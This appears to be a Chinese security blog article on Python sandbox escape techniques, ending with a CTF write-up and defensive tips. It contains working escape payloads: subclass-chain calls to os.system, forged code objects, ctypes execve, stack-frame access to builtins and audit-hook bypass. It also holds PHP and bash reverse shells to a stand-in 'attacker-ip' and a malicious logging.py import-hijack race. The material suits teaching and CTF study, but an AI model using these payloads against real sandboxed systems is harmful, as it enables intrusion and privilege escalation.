Python沙箱逃逸の旁门左道
字数 759 2025-08-22 12:23:41
Python沙箱逃逸高级技巧
1. 全局变量与内置函数
Python中的globals()包含了所有全局变量,包括内置函数__builtins__:
dir(globals()['__builtins__']) # 列出所有内置函数
防御措施
禁用高危内置函数:
eval(expression, {"__builtins__": {}}, context) # 清空内置函数
绕过方法
通过类继承链获取__builtins__:
[x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__()
if x.__name__=="_wrap_close"][0]["system"]('ls')
2. MRO方法解析顺序
利用类的__mro__属性查看继承顺序,配合__subclasses__()获取子类:
''.__class__.__mro__[1].__subclasses__()
3. AST沙箱绕过
防御措施示例
class SafeEvaluator(ast.NodeVisitor):
# 限制允许的节点类型和操作符
allowed_nodes = (ast.Expression, ast.Call, ast.Name, ...)
allowed_operators = (ast.Add, ast.Sub, ast.Mult, ...)
def visit_Attribute(self, node):
raise ValueError("禁止属性访问")
绕过思路
- 通过字节码直接构造函数
- 利用闭包或生成器获取上层作用域
4. 字节码与CodeObject
Python中万物皆对象,包括字节码(codeobject)。
手动构造函数
Python 3.11+示例:
import types
co_code = b'\x97\x00t\x01\x00\x00...' # 字节码
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')
code_obj = types.CodeType(
co_argcount, co_posonlyargcount, ...,
co_code, co_consts, co_names, ...)
my_exec = types.FunctionType(code_obj, globals())
my_exec('ls')
5. 系统调用底层实现
绕过Python直接调用系统函数:
import ctypes
libc = ctypes.CDLL(None)
FORK = libc.fork
EXECVE = libc.execve
def my_system(command):
args = command.split()
argv = (ctypes.c_char_p * (len(args) + 1))()
for i, arg in enumerate(args):
argv[i] = arg.encode('utf-8')
argv[len(args)] = None
pid = FORK()
if pid == 0:
EXECVE(args[0].encode('utf-8'), argv, None)
libc._exit(1)
else:
libc.waitpid(pid, None, 0)
my_system("/bin/ls")
6. 栈帧利用
Python是基于栈帧的语言,可通过多种方式获取当前栈帧:
通过异常获取
def get_stack_frame_via_exception():
try:
raise Exception
except Exception as e:
return e.__traceback__.tb_frame
通过闭包获取
def get_stack_frame_via_closure():
frame = None
def inner():
nonlocal frame
frame = (lambda: None).__code__.co_frame
inner()
return frame
通过生成器获取
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
return frame.f_back.f_back.f_globals['key']
利用方式
回溯栈帧获取__builtins__:
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = [i for i in g][0]
return frame.f_back.f_back.f_back.f_globals['__builtins__']
7. 审计钩子绕过
Python 3.8+的sys.audit机制会监控敏感操作。
绕过示例
重新定义关键函数:
[len:=lambda x:1, os:=__import__("os"), os.system(cmd)]
8. import机制利用
Python的import顺序:
- 当前目录
- 系统内置路径
利用方法
上传恶意模块到当前目录,如logging.py,利用条件竞争实现提权。
9. 实战案例
巅峰极客CTF题解
- 通过PHP反弹nobody权限shell
<?php system('php -r \'$sock=fsockopen("attacker-ip",1337);exec("sh <&3 >&3 2>&3");\'');?>
- 创建恶意
logging.py并循环复制
echo "__import__('os').popen('bash -i >& /dev/tcp/attacker-ip/1338 0>&1')" > /tmp/logging.py
echo "while true; do cp /tmp/logging.py /sandbox/target/logging.py; done" > /tmp/exp.sh
sh /tmp/exp.sh
- 触发import执行恶意代码
防御建议
- 使用严格的AST检查
- 限制字节码操作
- 监控栈帧操作
- 控制import路径
- 实施最小权限原则
- 使用容器隔离环境
这些技术展示了Python沙箱逃逸的多种高级方法,理解这些原理对于构建更安全的Python环境至关重要。